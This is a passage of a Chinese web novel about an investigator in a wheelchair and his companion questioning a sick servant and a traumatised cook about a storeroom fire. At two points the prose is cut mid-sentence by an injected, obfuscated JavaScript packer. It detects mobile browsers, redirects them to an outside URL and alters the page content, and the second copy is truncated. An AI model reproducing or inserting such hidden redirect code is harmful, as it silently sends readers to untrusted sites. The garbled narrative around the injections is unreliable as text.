一股微妙的香气在柳悬的掌心阒然绽放。 宋旌凑近,目光在柳悬手中的花朵与那被杂草半遮掩半覆盖的花枝间游移,最终停留在那几株看似随意生长的花枝上:“只是未免栽种得过于随性。” 瞧着眼前那一番杂乱无章、野草横生的景致,宋旌眉心紧蹙,轻轻摇头,颇有几分遗憾。 芝兰立在一旁, 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“麻,与黍、稷、麦、豆,并称为五谷。”柳悬转动轮椅,目光似不经意地落在那一片长势旺盛、却略显繁杂的作物上,但他的视线只停留了一瞬,便继续说道,“其常见于褚、槐、秾、岭等地,既与田间杂草无异,也是寻常百姓的心头好。” 柳悬此言一出,听在不同人的耳中,便有了千差万别的意味。 轻红闻言,只觉得心间被一抹温柔的阳光照亮,柳悬是在替她向宋旌解释:“火麻是五谷之一,深受当地百姓的钟爱。” 而在宋旌听来,柳悬的话似暗流涌动,藏着不为人知的玄机,就像柳悬在有意暗示:“火麻这种在褚地随处可见的杂草,怎会现身于魏凡的院中?” “今日得于魏公子的庭院中窥见此物,实乃柳悬的意外之喜,亦或是,惊诧至极。”柳悬仿若未曾察觉两人的心思,唇角轻扬,露出一抹清新雅致的微笑,将手中那朵黄蜀葵花,别在了宋旌的腰间。 芝兰抬眸,见柳悬并未因她贸然插话而露出责备之色,她心中那块悬着的石头才终于落下,整个人也随之放松了许多。 芝兰清了清嗓子,微微调整了一下站姿,接着解释道:“此处原是含光的居所。” 说着,芝兰的目光悠悠飘向那扇木门,通过那扇木门,她仿佛能看见含光往昔忙碌的身影。 “初到京都时,我们人生地不熟,含光担心主子水土不服、难以适应,便不辞辛苦,亲自动手,在这方寸之地,栽种了许多来自褚地的作物,只盼主子瞧见这些熟悉的作物后,能替他一解思乡之苦。” 芝兰边说边抬起手指,指向那扇紧闭的门扉,指尖微颤,眼中闪过一丝难以言说的情绪:“直至去年年末,含春忽然以自己素来喜爱侍弄花草为由,主动向主子讨要了这处地方。” 话音未落,芝兰收回手,她心中一动,偷瞟了宋旌一眼,声音陡然变得低沉,目光有意掠过宋旌腰间那朵别着的黄蜀葵。 那朵娇嫩的黄蜀葵在宋旌的腰间轻轻晃动,像是在无声地诉说着什么。 “自从含春与含烟去年搬入此地后,此地便种满了黄蜀葵。”芝兰的眼中流露出一丝不满,她的语气中也多了几分酸楚与苦涩。 在芝兰看来,含春在此处种满常见于盛京的黄蜀葵,分明就是故意嘲讽含光,向含光炫耀主子对他与含烟的宠爱。 芝兰与含光一样,他们同为褚地旧奴,念及此处,她心中满是惋惜与愤懑。 她咬牙切齿,言辞间流露出深深地不甘:“那些源自禇地的作物失去了含光的悉心呵护,也开始逐渐凋零,唯有那杂草一般顽强、除之不尽的火麻,才能与那蜀葵花纠缠共生,且愈发长得旺盛。” 言尽,芝兰情不自禁地发出了一声悠长的哀叹,那叹息声中蕴含了含光作为一个不得宠的旧奴所体会到的悲凉与无奈。 柳悬听完芝兰口中那段关于黄蜀葵的过往,面色沉静如水,眸中波澜不兴。 良久后,他才微微启唇,淡淡地问了一句:“此乃含春所居?” 芝兰见柳悬对含光与含春间的恩怨纠葛并无半分探究之意,她那低垂的眼眸中划过一丝失落,心中那股倾诉的热意瞬间冷却,立马识趣地闭上嘴,只顺从颔首,算作是对柳悬问话的回应。 柳悬得到芝兰的肯定后,稳握两侧木轮,手臂微微发力,将轮椅推行了一段距离。 车轮在地面上滚动,发出一阵沉闷的“咕噜”声。 行至台阶前,宋旌默契地扶住轮椅两侧的握把。 在宋旌稳健有力的搀扶下,柳悬的轮椅稳稳当当地驶上了台阶。 几人尚未靠近屋舍,仿若破锣般的剧烈咳嗽声便穿透门扉,骤然从屋内传出,夹带着几分痛苦。 柳悬在门前停下,他伸出修长的手指,用指节轻扣门板,发出清脆的“咚咚”声。 那声音在静谧的环境中显得格外清晰。 芝兰紧跟在两人身后,双目死盯住那扇紧闭的木门,见门内迟迟未有动静,心中不免涌起一股焦急。 芝兰身形微动,眉头紧拧成一个“川”字,正欲上前催促,却见那门竟在她抬手之际,豁然敞开。 “含春见过二位爷。” 一道沙哑而虚弱的声音自屋内响起,打破了短暂的寂静。 门内,一位身形高挑、纤瘦如竹的男子,笔直地站立在两扇门的中央。 他披散着一头如墨的黑发,那黑发在明媚的阳光下闪烁着绸缎般的光泽。 含春用一只修长而苍白的手遮掩住死白的脸颊,咳嗽时,那起伏的胸腔彰显出一种病态的美。 不知从何时起,他竟已悄无声息地行至门后,那模样仿佛是早已洞悉了门外的每一句对话,在静待这一刻的到来。 柳悬抬首望去,一双明亮且澄澈的眼眸直落在含春的身上。 只见含春穿着一件绣满秋葵的陈旧寝衣,衣衫略微宽松,难掩他那瘦削的身形。 含春的身上散发出一股浓浓的药味,朦胧中,似乎还夹杂着一股转瞬即逝的皂角香与草木芬芳。 柳悬的眼里盛满笑意,如摇曳的柔光,令人心生暖意。 “小哥无须多礼。” 柳悬的声音温和,能穿透屋内凝结不散的阴郁,他转动轮椅下的木轮,缓缓靠近含春,在含春身上细细打量,目光中既有探究,也有关怀。 “相较于昨日,小哥的病势似乎更添了几分?” 柳悬记得,昨日含春在德馨殿时,也是这样一副病怏怏、无精打采的样子。 据含春的证词所述,自前日他与含光发生一场激烈的争执后,他便一直身感不适、缠绵病榻。 魏凡遇刺那一夜,即便魏凡在日落前,曾遣其他侍从去唤他近身伺候,他也只能因病回绝。 含春自称,当夜自己一直闭门未出,直到库房突然燃起大火,他才骤然惊醒,奋不顾身地起身赶去救火。那时,大雨如注,他全身被雨水浸透,次日便患上风寒,从此一病不起。 而在众人的证词中,确有不少人声称他们当夜瞧见含春在走水的库房中忙着搬运物件; 同时,也有一部分人声称他们在后院与前院打水无果后,转而去马厩旁的古井中取水时,瞧见含春的屋子灯火通明,那刺眼的灯火在漆黑的夜色中显得格外醒目。 38.问诊 “小哥可曾寻医诊治?” 如佳酿般醇厚的声音自柳悬喉间缓缓淌出。 斜阳划破门前的空隙,浮尘在光与暗的裂痕间游弋——金箔般璀璨的碎屑在光束中翩跹,而另一侧,似灰烬般的颗粒则悄然沉入阴影织就的蛛网里。 随着木轮向前滑行,在它碾过门槛的瞬间,腐朽的基木发出细碎的呜咽声。 柳悬这位步步紧逼的不速之客像是一条解冻的冰河,缓慢而不由分说地蚕食着门内的空间,被木轮碾碎的尘埃在日光中翻涌,轮椅将凝固于屋内的死气一寸寸压出龟裂的纹路。 含春立于原地,未动分毫,只静默地注视着身前三人。 他既未有退让之意,邀柳悬与宋旌入内的打算,也未曾流露出强势驱赶之态。 “官爷,可是有何要事?”含春用蜷缩的手指掩住苍白的嘴唇,止不住的咳嗽声牵动颤抖的肩头,他的嗓音沙哑而平静,唯有喉间细微的滑动透露出他内心的些许紧张与戒备。 含春的五指仍紧攥住门板,泛青的指尖已经嵌进门板的空隙间。 他那警惕而试探的眼神在柳悬与宋旌身上来回游移,似乎在仔细掂量两人的身份与来意,不敢贸然采取下一步行动。 含春的种种异样,柳悬仿若浑然不觉。 他双手沉稳施力,轮椅不紧不慢地从含春的臂下穿过,驶进昏暗的屋内。 屋内,菌群在暗处滋生的腐熟气息迎面缠来。 这沉淀了无数个季候的霉味,与游丝般的药香在阴翳中悄然媾和,化作半透明的佝偻老妪,絮语般游走于梁柱之间。 “昨日,柳某于德馨殿内,耳闻小哥道是未曾延医诊治。” 几缕微光穿透几张落满灰尘的浅色麻布,照进室内,将轮椅上的柳悬映在灰白的墙上,影子被拉得极长。 “柳某不才,略通岐黄,愿先为小哥诊病疗疾,待开具方剂,再议其余诸事,亦不为迟。” 柳悬勒紧手中木轮,那旋转的律动戛然而止,青色衣摆恰似夜鸦收翼般骤然收拢。 轮椅定格在屋中央的圆桌旁。 柳悬转动轮椅,缓缓回身,抬眸之际,一柱金光穿透门板格栅,将他的侧脸劈成两半——明处是云淡风轻的浅笑,暗处则是静水流深的冷光。 柳悬的目光落在含春身上,那眼神闪烁不定,犹如风中烛火,忽明忽暗。 他有意无意,向含春袒露出一丝讯息:他与宋旌此行的目的,绝非表面那般简单、纯粹。 含春在柳悬的审视下,只觉呼吸都变得沉重而艰难。 他不由自主地垂下头颅,单薄的肩胛骨在层层叠叠的宽大布衫下凸显出两道嶙峋的弧线,那弧线好似两座孤寂而倔强的山峰,透露出他内心的不安。 身后,木轮碾过地面的滞涩声响分明清晰可闻,而含春却固执地保持着面朝门外的姿势。 这时,宋旌阔步迈入屋内,衣袍翻飞间,带起一阵清新、奇异的独特冷香,那香气如山间清泉般,沁人心脾。 含春随之,缓缓转过身来。 含春只见宋旌一身华服,举手投足间,尽显贵气与威严,他的视线快速扫过宋旌与柳悬,心中虽不敢断定他们就是芝兰所言的“官爷”,但从那两人举手投足间的威仪与冷峻神色中,他已嗅到一丝危险的气息。 这两人,是他万万不能得罪的存在。 见柳悬无意离去,含春的心猛地一沉。 沉默,如一片乌云,压得含春喘不过气。 终于,他垂下眼帘,认命般,轻叹一声,挪动碎步,像鹿蹄般,脚尖点地,脚步轻得几乎听不见任何明显的声响,仿佛生怕惊动了什么不该惊动的东西。 含春屏住呼吸,蹑手蹑脚,贴着墙根走动。 他刚挨近那一方被烟熏得黢黑的火炉,火炉上,那只烧得火红的陶壶便发出凄厉的嘶鸣。 陶壶上,壶盖急剧震颤,与壶身猛烈相撞,迸发出刺耳的啸叫声。 含春被那突如其来的声响惊得心头一颤,手指无意识地攥紧衣角。 那陈旧的寝衣在他的手中霎时皱成一团,布料上的褶皱像是被猛兽的利爪狠狠撕扯过一般,留下几道深深的痕迹,仿佛下一刻就要裂开。 从壶中涌出的沸水,泼溅在熠熠炭火上,发出阵阵“嘶嘶”声。 白烟腾起,缭绕不散,形成一道朦胧的雾障。 含春的手指在探向壶柄时,不幸碰到滚烫的壶身。 一阵刺痛袭来,含春的指腹上立刻浮起一片透明的燎泡,火辣辣的痛感顺着指尖蔓延上来。 然而,含春却像是感受不到疼似的,浑然未觉,只是慌乱中,抓起窗棂前的一块破布,胡乱裹住壶柄,佝偻着本就弯曲的背脊,只顾着去提那沉甸甸的陶壶。 壶嘴处,蒸腾的水汽化作无数苍白的鬼手,从他的下颌一路攀升上颧骨,蜿蜒着扑向他的脸。 含春的脸被蒸得通红,额头上沁出细密的汗珠,顺着他的脸颊滑落。 那张原本苍白的脸此刻泛起一层不自然的、病态的潮红,像极了戏台上的装旦用最劣等的胭脂在脸上涂抹的假面,显得格外突兀。 含春的每一个动作都显得有些僵硬、迟缓,转身时,衣摆擦过火炉的边缘,蹭下一片积年的黑灰,他仿佛在权衡什么,又像是在极力掩饰内心的不安。 他从火炉旁的木架上取下两只陶碗,碗口边缘布满了细密的裂纹,显然是用了多年的旧物。 含春将陶碗轻轻放在屋中央的圆桌上,动作虽稳,但手指却止不住地颤抖。 碗底与桌面相触,发出一声细微的“咔嗒”声。 含春的目光始终低垂,他不敢与那两人对视,生怕一旦抬眼,便会坠入某种无法逃脱的渊薮。 他高举起陶壶,十指发紧,扣住壶柄。 壶身倾斜时,从壶嘴倾泻而下的水柱割开凝滞的空气,宛如一道细长的银线,沿一条优美的曲线,潺潺汇入碗底。 水声清脆,恰似一串清铃,在沉寂的屋内响起,打破一时的静谧。 含春小心翼翼,将两只陶碗分别推至宋旌与柳悬的面前,那两只碗与含春手中的壶,在桌面上形成一个微妙的三角阵型。 他脊背微弓、缩成一团,整个人显得愈发憔悴、萎靡。 仿若气力被抽干了一般,含春从喉头泄出声响,粗粝的砂石在声带间碾磨,化作嘶哑、破碎的低语:“寒舍简陋,实在无甚好茶能款待二位贵人,只能委屈二位,饮些白水,以消渴、润喉了。” 说着,含春的指尖在陶壶柄上划出半道圆弧,陶壶上的纹路蹭过满是燎泡的指腹,带起细微刺痛,但这份痛楚却远不及柳悬那道刀锋般的视线更为灼人。 宋旌一门心思,暗自思量柳悬的用意。 当陶碗边缘的反光刺进宋旌的瞳孔时,宋旌的肌肉比他的意识更早绷紧。 见柳悬神色如常,端起碗,毫无防备,将碗凑近唇边,正欲饮下碗中清水。 宋旌眉头一紧,眼中闪过一丝急迫。 在碗沿离柳悬唇边仅剩一寸距离时,宋旌蓦然伸手,一把握住柳悬那截皓腕,动作快得连柳悬都未来得及看清。 宋旌钳住柳悬托碗的手,青筋暴起的虎口正压着跳动的脉搏。 几乎是出于本能,满眼忧虑的宋旌紧张得脱口而出:“等等!” 柳悬的手一顿,悬在半空,碗中的水轻轻晃动,荡出一圈圈涟漪,溅出些许,洒在宋旌的手背上。 “当、当心烫……”迎上柳悬那充满困惑与不解的目光,宋旌的喉结艰难地上下滑动,他勉强从牙缝中挤出了这一句话。 日影穿过窗格,斜斜落下,将宋旌手上的水痕映照得如同银蛇游走一般。 宋旌接过陶碗。 日光在碗中碎成细密金箔,水面映出宋旌紧抿的唇线。 宋旌神色凝重,垂首,唇瓣轻触碗沿,试探性地抿了一口,仿佛在品尝某种未知的毒药。 在确认水温与滋味无异后,宋旌若无其事地将碗递回柳悬面前,动作自然得仿佛这是再寻常不过的事。 那一刻,柳悬捕捉到宋旌的眼中有一闪而逝的警惕,就像一把隐匿在暗处的刀,忽然寒光乍现,又迅速隐没无踪: ——那眼神中分明带有某种本能的防备。 柳悬的思绪被这意料之外的打断搅得有些混乱。 他低头看向身前的碗,碗中清水依旧清澈,映出他高高隆起的眉。 迟疑了片刻,他终是克制住内心的疑惑,默默将碗凑到唇边,饮下那碗由宋旌亲自品尝过的清水。 放下陶碗,柳悬似幽潭般的目光一寸寸描过宋旌的脸。 那双深不见底的眸子仿佛能穿透皮相,直抵人心最深处的隐秘角落。 宋旌那副理所当然、不假思索的熟稔模样,在柳悬的脑海中挥之不去: ——宋旌的动作太过流畅,流畅得就像是这类的事情,宋旌已经毫不犹豫,为他重复了千万遍,熟悉得仿佛刻入骨髓一般,让人心底发寒,忍不住泛起一抹不可言说的异样感觉。 “哥哥这般盯……盯着我做甚?我不过是……是怕怕怕……怕水太太太……太烫了……”宋旌被柳悬那一探到底的眼神盯得心里直发毛,他的声音颤抖,或许是因为心虚,他边说边不自觉地侧过头去,企图躲避柳悬那令人心悸的视线。 话一出口,宋旌便暗自懊恼: ——这可笑的借口,竟然拙劣得连自己也说服不了。 方才,宋旌一心扑在揣摩柳悬的布局上,一时忘了分寸。 直至他夺过柳悬的陶碗,他才猛然惊醒: ——此时,柳悬还未经历那些暗杀与背叛,还未被无孔不入的细作与别有用心的叛军逼到绝境,自然也不会理解他这般草木皆兵的戒备。 意识到不妥,宋旌眨了眨眼,睫羽在眼睑下投出细碎的阴影,十指蜷缩成拳。 他心中忐忑,正急欲补救,为自己的疏忽辩解,以掩饰那稍纵即逝的异常。 然而,柳悬的目光并未在宋旌的身上停留,他的心思已全然放在含春身上,这让宋旌稍稍松了一口气。 尽管心中依旧悬着一块巨石,但宋旌明白:至少,他还有时间去思考应对之策,以防柳悬日后旧事重提。 柳悬的目光在宋旌那几不可闻的叹息声中,缓缓转向含春。 含春在柳悬轻声示意后,向柳悬微微颔首,动作轻缓,将左手手腕平放在圆桌上。 含春的手臂纤细而修长,肤色苍白若瓷,虽有流云般柔软的外形,却暗藏着金石相击的力道。 柳悬的手指轻轻地搭在含春的脉搏上,指尖微凉,触感如蜻蜓点水般轻盈。 他闭目凝神,眉间微蹙,仿佛在倾听含春体内气血的低语,捕捉那些细微的波动。 片刻后,柳悬睁开双眼,目光沉静如水,他又示意含春换作右手。 含春识趣地伸出右手,仿佛早已习惯了听从这样的指令。 柳悬的手指再度落下,动作娴熟而稳健,倒真像一位医术超群、隐居山林的神医。 一番诊治后,柳悬收回搭在含春腕上的手,他抬眼看向含春,眸中闪过一丝审慎,语气平静,却带有几分试探:“小哥可觉有何不适?烦请细说不适之症。” 含春低垂下眉眼,手指虚拂过衣袖上的褶皱,他一边展平挽至肘窝的衣袖,一边用沙哑的嗓音,轻缓地回道:“回禀官爷,奴已服过两剂往日剩下的草药,却无甚用处,这些时日仍咳嗽连连,只觉胸中气短难舒,手脚沉重无劲……白日里,精神欠佳,食欲亦是全无。” 柳悬一边仔细聆听,一边用余光不经意间扫过含春整理衣袖时那蒨蒨如兰的手势。 待含春言毕,柳悬才扬起一抹浅笑,向他讨要来纸笔。 含春起身,步履轻缓,走向屋角的庋具。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930199|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一举一动,皆透露出一股刻意压制的拘谨。 在含春转身的刹那,柳悬迅速扫视过屋内的每一寸空间。 从布局到陈设,所有角落都无一遗漏。 含春的居所坐南朝北,与其他屋舍相比,并不宽敞,屋子宽度约莫一丈,布置得十分简单。 屋子东侧,一具石榻上陈放着花色各异的褥子,褥子重叠在一处,足有九、十床之多,厚实地砌成一摞。 石榻上,朝北的一端,两个圆柱形布枕并排摆放。 屋子西侧,一排用于存放物品的庋具整齐排列。 其中,唯有最南侧的庋具,被一把精致的铜锁紧紧锁住,似乎藏着什么珍贵的物品。 屋子长度约莫一丈三尺,北侧门窗紧闭,而靠近石榻的位置,一个火炉正熊熊燃烧着,火光映照出跳动的影子,为沉闷的空间增添了几分烟火气息。 屋子南侧,一面灰墙干净如洗。 环顾四周,唯有屋子中央,放置了一张圆桌与四个圆凳。 含春取来纸笔,执笔的动作十分优雅。 当含春将笔递给柳悬时,柳悬注意到:含春的小指微微上翘,食指指尖轻托住笔杆,递笔的手势竟似兰花吐蕊,柔而不媚,是罕见于寻常男子的吐蕊式。 柳悬不动声色,接过纸笔,将纸铺平在圆桌上,又提起那支做工稍显粗糙的笔,笔尖在纸上轻轻划过,随即在空中一滞,抬头问道:“此等病状已延续几日?” 含春挺直脊背,重新落座于圆凳之上,他双腿并拢,双脚脚尖微向内收,坐姿端正得近乎刻意,仿佛是一种维持了多年的习惯性姿态。 含春轻声细语,以其特有的细腻嗓音,虚弱且带着疲惫地答道:“自前日午时起,便一直卧床难起,神思昏沉,闭门未出。” 柳悬低头在纸上书写,笔尖沙沙作响,语气却随意得像是在闲聊,他的眼神里闪烁着微妙的光芒,打量的目光在含春脸上快速扫过,又迅速移开,仿佛只是不经意的一瞥,言语间则带有明确的目的性:“尊夫人何在?为何屋内只你一人?” 含春闻言,眼睑微微一抖,指尖不自觉地捏紧了衣袖,继而下意识地瞄了侍立在两人身后的芝兰一眼,接着赶紧收回目光。 含春的声线依旧平稳,但又多了几分令人难以察觉的僵硬:“多谢官爷垂询,爷赐药方于我即可。” 含春心里清楚:柳悬此问,是有备而来。 他早已察觉到柳悬能轻易掌控对话的节奏与方向,且柳悬的每一句话都似带有无数个钩子一般,稍有不慎,便会被其钩住要害。 警铃在含春的耳畔隐隐作响,含春并未刻意隐瞒含烟的存在,反而是向众人坦言相告:“奴去年与公子初识时,公子曾许诺,待明年科考后,便携我与拙荆同归褚地。” 说着,含春的语气忽而变得绵软柔和,他的眼中闪过一抹追忆之色,仿佛陷入往昔的记忆,“年前,我替公子出门办事,归来时,却见拙荆已不在院中。我心下焦急,便向公子询问拙荆的去向,生怕她有何闪失。” “公子言称,乃是为褚地家中有人照应,他于去年腊月时分,先令拙荆随商队启程,前往褚地去了。”说到这儿,含春情不自禁地停顿了一下,他怅然若失地抚摸起衣袖边缘的针脚,语气中带有一丝若有若无的强调,“如今这院中,确只余我一人孤居。” 含春答话时,目光总是时不时地瞥向宋旌身后站着、一直未插话的芝兰,他像是在观察、确认什么,又像是在小心提防着什么。 他与柳悬一般,说话时语气虽轻松随意,却字字斟酌,每一句话都像是经过深思熟虑一般,既不过分透露,也不显得刻意隐瞒。 柳悬在一张廉价的草纸上,笔走龙蛇,写完了最后一个字。 随后,抖动起脆弱的纸张,想让未干的墨迹尽快风干。 待字迹完全融入纸张后,他又将草纸沿中线对折了两次,才递交到含春的手中。 就像寻常大夫对待患者那般,柳悬果真没有再追问其他问题,他只是向含春叮嘱了煎药、服药时必须遵循的种种细节,言辞间,也满是再平常不过的关切之意罢了。 草草寒暄了几句后,柳悬便带着宋旌与芝兰,向含春告了辞。 送别柳悬一行人,屋内一时静了下来。 含春望着柳悬离去的方向,直到脚步声彻底消失在远处,他才像是被某种无形的力量陡然抽去了所有的力气一般,心力交瘁地撑在圆桌上。 圆桌上的草纸因含春的动作而飘然落地,如同一片无力的枯叶,在风中飘飘忽忽。 含春缓缓弯下腰,拾起那张散开的草纸。 纸上的字迹密密麻麻,沿着字迹一行行看去,最终定格在末尾那一行潇洒俊逸的小字上…… 那上面书写着一句话:“心病仍需心药医。” 柳悬的字迹遒劲有力,仿佛蕴含了无尽的深意。 含春的目光在触及这一行小字时猝然紧缩,瞳孔疯狂颤动,仿佛被什么尖锐的东西刺中。 含春急忙抬眼望向门外,却只看见空荡荡的空地,而柳悬的身影早已消失不见。 ——他到底知晓些什么?亦或是仅仅在虚张声势? 含春的心湖被这没头没尾的一句话搅得风起云涌,思绪如乱麻般纠缠不清。 他攥紧手中的草纸,心中涌起一股莫名的悸动,泛起阵阵难以平息的涟漪。 那一行字仿佛是一根无形的线,将他牢牢捆住,挣脱不得,又让他不禁充满了不可名状的期待。 屋外的风,卷起地上的落叶,吹动着沉寂许久的窗框,发出“哐哐哐”的声响。 含春静静地立在那里,久久未动分毫。 他仿佛被定格在了这一刻,心中满是无尽的疑惑、彷徨、兴奋与不安。 在他那张早已丧失了所有情感的麻木面具上,似乎只有那一双紧锁的眉头才能泄露出他内心的震荡。 39.恶鬼 离开含春的居所,芝兰走在宋旌与柳悬的前方,为两人引路。 宋旌推着柳悬的轮椅,紧随芝兰之后,三人穿梭于繁复的景致中。 他们穿过那条繁花似锦、草木葱茏的石子路,一片花瓣飘落,被宋旌的衣角带起,再随宋旌跨过那道色彩艳丽的红漆小门,沿着前院北侧的抄手游廊,径直向东行去。 长廊的木柱上,缠绕着郁郁葱葱的青翠藤蔓。 枝叶在微风中轻轻摇曳,发出绵密的沙沙声,宛如几只林间精灵的低声呢喃,悄然述说起某个不为人知的秘密。 此时,轻红早已圆满完成了柳悬交代的任务,正站在前院那巨石屏风旁等候。 她翘首以盼,目光不时向内院的方向投去,眼中闪烁着兴奋与期待交织的光芒。 一见柳悬自红漆小门处现身,轻红顿时展颜一笑,眼眸在刹那间,亮若星辰,周身仿若被注入一股蓬勃的生气。 她迫不及待地迎上前去,脚下步伐灵动、轻快,恰似一只等待主人归来的燕子,满心欢喜,雀跃不已。 四人聚首,随芝兰,一同前往位于长廊尽头的几间下房。 北侧向东的第二间下房内,由褪色麻布滤过的日光泼在长出苔衣的青砖上。 热流自砖缝间涌出,与半旧的葛布布衾交缠在一起,吸饱了从灶房里飘出来的蒸汽,沉甸甸地压在厨娘身上。 厨娘正独卧于石榻上歇息,而房门则虚掩着。 穿堂风一过,门轴转动,发出“咿咿呀呀”的哑鸣声。 透过门缝,能看见屋内唯一一张方桌上,摆放着一只粗瓷碗,碗底仍残留的药渣,散发出一种令柳悬与轻红皆觉着熟悉却一时捋不出头绪的清苦味。 厨娘的脸色有些苍白,但眼神与往日相比,倒清明了许多,此刻,她正倚靠在床头,用粗短的手指轻捻起被面上的缠枝莲纹。 说来也巧,今日,厨娘不仅难得地清醒着,精神也出奇地好,甚至能勉强坐起身来,仿佛冥冥之中,自有天意。 宋旌与柳悬因着男子的身份,不便踏入厨娘的寝居。 柳悬便吩咐轻红,让她代为料理一切。 轻红领命,与芝兰一同进屋。 当芝兰推开房门时,厨娘被忽然闯入的光影惊得蜷缩起五指,她猛地抓住身下薄被,犹如惊弓之鸟。 悬挂于门后的老旧铜铃,也适时发出沉闷的“叮咚”声响,引得厨娘的肩头忍不住微微颤抖,随即将原本涣散的视线迅速聚拢于门前。 轻红款步行至榻前,以温婉、柔和的嗓音,面带一抹无害的暖笑,向厨娘道明来意,而芝兰也不停地从旁附和,以便使厨娘放下戒心。 厨娘耐心听完,得知要去院中会见两位素未蒙面的“官爷”,她的脸上立马浮现出一丝迟疑之色。 她的目光在轻红与芝兰间,游离不定,眼前又闪过那夜的火光与骇人的鬼影。 厨娘的喉间几不可闻地发出一声压抑的抽气声,她轻蹙起一双柳叶弯眉,敏锐地察觉到芝兰的神色不似往常那般松弛、自然,而是会时不时地流露出几分忌惮与讨好,就跟在魏王氏跟前一样,便不敢得罪轻红,只能压下心中恐惧,点了点头,应允了轻红为她梳洗的请求。 轻红动作轻柔,指尖在厨娘的发丝间穿梭,芝兰则在一旁递上干净的帕子和衣物,眼中夹杂着一丝关切与自责。 不多时,焕然一新的厨娘在芝兰的搀扶下,由轻红引领至庭院中的柿子树下,与柳悬、宋旌相会。 前院,树影婆娑,斑驳的光影洒在众人身上。 微风拂过,带起一丝凉意,仿佛连空气都变得轻盈了几分。 柳悬的指尖摩挲着褪色香囊的竹纹刺绣,青灰色布料上还沾着几粒安神草的碎屑。 他抬眼时,正见芝兰搀着厨娘跨过门槛。 他的目光在迎面走来的几人身上稍作停留,最终落在厨娘身上,旋即唇角微扬,向厨娘露出一抹温和有礼的笑意,带着几分安抚的意味儿。 那厨娘裹着布衣的身子在踩到廊下黑影时,骤然瑟缩了一下,两只又圆润又粗糙的手死死地攥住芝兰的衣袖,仿佛廊外摇曳的紫藤影子都是索命的冤魂。 厨娘在芝兰与轻红的扶持下,缓缓坐下。 柳悬将香囊推至石桌中央,万寿菊的苦香混着甘松的清冽在闷热中蒸腾开来。 盛夏的蝉鸣被骄阳晒得发脆,几片焦黄的柿子叶从头顶打着旋儿,落在脚下的青石板上,正巧遮住石缝里那半截干瘪的蜈蚣尸首。 “姑娘毋须惧怕。”柳悬的指节扶住轮椅两侧,树荫里漏下的光斑,将他的骨节处,照得透出玉色。 当轮椅划过地板时,地面的震动惊起一只正在啃食蜈蚣的蚂蚁。 厨娘那双被陈年油垢浸透的指甲正死死抠进石缝,高高屈起的指节泛着病态的灰白,像是要把石缝间的青苔都碾压出汁儿来。 柳悬刻意放缓声调,面上挂着春风化雨般的浅笑,以免惊吓到心绪不稳的厨娘:“方才,听闻那送水、食的膳夫言说,此槐花饼乃是用最新摘的嫩蕊所制,姑娘可欲尝些,以润喉裹腹?” 柳悬从膳夫送来的食盘中,取出一块热气腾腾的槐花饼,他的语气轻松,仿佛只是在闲聊家常。 石桌下,一片幽深的阴影里,正蜷缩着一只胆小的三花猫。 那花猫不知从哪儿偷了油腥,一顿酒足饭饱后,正心满意足地用带倒刺的舌头,舔舐起还残留着油渍的前爪。 石桌上,厨娘佝偻着背,小心翼翼地朝瓷盘里瞟了一眼,她虽婉拒了柳悬的好意,但干裂的唇瓣却不受控制地翕动了几下,喉头发出低沉的咕哝声。 烈日下,厨娘额角的粗布头巾在短短的一刻钟内,已被不断渗出的热汗洇出了深色的痕迹,汗水顺着她的耳后滑落,凝结成浑浊的盐粒,那盐粒在阳光下泛起细碎的银光。 柳悬收回手,没有强求。 他注意到:厨娘低头时,后颈上爬满了密密麻麻的抓痕,那红色的痕迹上有无数道细长的血痂,仿佛某种无形的恐惧曾在她的身上肆虐。 “耳闻前夜暴雨倾盆之际,姑娘仍冒雨而行,亲至库房,为夫人寻觅那熬汤的药材?”为免厨娘丧失仅存的几分神智,柳悬只得徐徐图之,试着不着痕迹地探听那夜库房走水的细节。 “奴、奴那夜……”厨娘的声音断断续续,仿佛每一个字都是她拼尽全力,从灵魂深处挤出,“是被芝兰从睡梦中唤醒……” 她那枯黄的面皮在柿树的阴影下泛起青灰,她撩起从头巾边遗落下的几绺黏结成缕的灰发,用粗糙的指腹交替着,摩挲起拇指,从喉间吟出几句破碎的絮语,“奴明明记得……回屋前,药罐还在灶眼上温着……奴睡前,也照例去厨房添了半瓢井水……可、可芝兰却说,遍寻不得……” 厨娘至今仍百思不得其解,她话音未落,厨房里便意外传出一声陶罐坠地的脆响,吓得她浑身剧颤。 “奴见芝兰一脸着急……”厨娘的神思似乎恍惚了一下,她用力地甩了甩头,原本还算平缓的呼吸恰在此时,突然变成深浅不一的喘息。 一阵裹挟着柴火气的热风从身后的厨房袭来,它掠过前院的柿子树,黏附在厨娘的身上。 厨娘依稀听见身后不远处有剁骨刀劈入砧板的闷响声传来,她连忙用表皮发皱的左手死命地揪住心口的衣料,每一次进气与出气,都急促得像是一具破败的风箱,“也知晓夫人那日因含春一事,被主子训斥,心绪不佳……” 为了缓解身体的不安与焦虑,厨娘抬起那只布满褐斑的手,一下下,迟钝地捶打在自己的心口,震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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石面被厨娘抓出一条条白痕,潜藏在甲缝里的血丝也在石柱上洇开点点红梅,而原本躲在阴影里伸懒腰的花猫则被惊得弓起猫背,在朝她发出几声激烈的“斯哈”声后,就仓皇失措地潜逃了。 柳悬瞧着厨娘那副急得泫然欲泣的模样,那样子倒像是……是在库房中寻找药材?! 宋旌与柳悬恰好想到了一块儿! 在与柳悬相视一眼后,宋旌赶紧拽住厨娘的胳膊,将厨娘强行提至石凳上坐下。 “要蹲下!要蹲下快点找!再找不到就来不及了!!!”厨娘一把抓住宋旌的手,声音陡然变得尖利。 “为何来不及?” “有什么在催你?” 柳悬明白——这意味着厨娘又陷入那日的梦魇,正在重新经历已经发生过的事情。 厨娘用尽全身力气,牢牢地抓住宋旌仍钳住她胳膊的手。 